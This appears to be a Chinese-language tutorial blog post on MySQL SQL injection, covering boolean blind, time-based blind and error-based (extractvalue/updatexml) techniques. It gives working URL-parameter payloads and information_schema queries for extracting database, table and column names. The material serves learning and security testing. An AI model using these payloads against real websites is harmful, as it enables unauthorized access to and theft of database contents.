盲注&报错注入-mysql
看到身边同学写个 sql 注入脚本不费吹灰之力,我酸了,你要问我是什么酸,写不出来的心酸。
前提
SQL 注入通常出现在查询条件where
可控,类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"
那这个where
的屁股后面能接上一些什么sql语句呢?
SELECT * FROM user WHERE user="admin" ADN 1=1
SELECT * FROM user WHERE user="admin" UNION SELECT * FROM xxx WHERE xxx=xxx
SELECT * FROM user WHERE user="admin" ADN sleep(5)
SELECT * FROM user WHERE user="admin" ADN if(xxx=xxx,true,false)
注意:通常我们需要考虑到参数是 整型 还是 字符型,也就是添加 引号
我们知道:
条件语句中的 (expr1 and expr2),expr2 只会在 expr1 为真的情况下才会执行;(expr1 or expr2),expr1、expr2 都会执行
mysql 中有个特殊的数据库 information_schema,这里面存了数据库的所有信息,包括数据库名、数据库表名、数据列名
# 从 information_schema.schemata 查询所有 库名
select schema_name from information_schema.schemata
# 从得到的库名在 information_schema.tables 中查询该库内的表名(limit 限制得到的数量,当让也可以直接使用 group_concat(table_name) 在一行结果中得到所有所有的表名)
select table_name from information_schema.tables where table_schema="xxx" limit 0,1
# 同理可以从 information_schema.columns 中查询对应表中的列名
select column_name from information_schema.columns where table_schema="xxx" and table_name="xxx" limit 0,1
布尔盲注
布尔盲注,一般是根据响应内容不同加以判断,看到以下几个常用函数:
sql 语法 | 含义 |
---|---|
length("string") | 计算字符长度 |
sleep(5) | 延迟n秒 |
ord("a") | 字符转成ascii |
substring("string",strart,length)/substr("string",strart,length) | 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符 |
那么类似于"SELECT * FROM user WHERE user='".$_GET['name']."'"
这个sql注入,我们通过提交怎样的参数能判断是否存在布尔盲注并注入出数据呢?
# 简单判断是否存在布尔盲注
1. 首先假设不存在 admin 用户
?name=admin' or '1'='1 # 最终响应存在该用户
当使用 and时:
2. 首先假设存在 admin 用户
?name=admin' and '1'='2 # 最终响应存在该用户
# 那么如何注入出数据呢?注意,此时是存在 admin 用户的,这样才能确保 and 后面的条件语句被执行。我们假设存在用户会回显:用户存在
?name=admin' and (select length(database())) = 5 and '1'='1 # 此时,只有当数据库长度恰好等于 5 时,网页才会回显用户存在,因此我们可以依据这个判断数据库长度
?name=admin' and (select ord(substring(database(),1,1))) = 97 and '1'='1 # 此时,只有数据库第一个字母的 ascii 码为 97,网页才会回显用户存在
时间盲注
时间盲注中常用的有一下几个 sql 函数及语法:
sql 语法 | 含义 |
---|---|
if(expr1,expr2,expr3) | 当expr1成立时,会执行expr2,反之执行expr3 |
sleep(5) | 延迟n秒 |
benchmark(10000000,sha(1)); | BENCHMARK会重复计算expr表达式count次,打到延时 |
ascii("a") | 字符转成ascii |
ord("a") | 字符转成ascii |
substring("string",strart,length)/substr("string",strart,length) | 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符 |
MID(column_name,start[,length]) | 取出字符串里的第几位(从 1 开始,而不是 0)开始,长度多少的字符 |
left(str, len) | 字符串左截取函数,返回str的左len个字符 |
right(str, len) | 字符串右截取函数,返回sre的右len个字符 |
那么类似于"SELECT * FROM user WHERE user='".$_GET['name']."'" 这个 sql 注入,我们通过提交怎样的参数能注入出数据呢? |
?name=' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1
通过不断替换if语句中的值,如 97 代表 a,我们便可以通过响应时间简单地注入出数据库名
报错注入
构造特殊的 sql 语句,让信息以报错的形式显示出来。通常利用的是如下的函数
- UPDATEXML (XML_document, XPath_string, new_value);
- EXTRACTVALUE (XML_document, XPath_string);
构造错误的XPath_string 参数,使语句报错从而带出数据
例如:
select extractvalue(1,concat(0x7e,(select database()),0x7e))
select updatexml(1,concat(0x7e,(select database()),0x7e),1)
select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))
从图片中可以发现,报错的到的结果限定长度 32 位,所以当数据很长的时候需要使用substr、mid
等函数截断结果
select extractvalue(1,concat(0x7e,(select substr("string",1,1)),0x7e))
当然还有一些其他的函数能构造报错,具体可以看:十种MySQL报错注入,测试发现:高版本均无法成功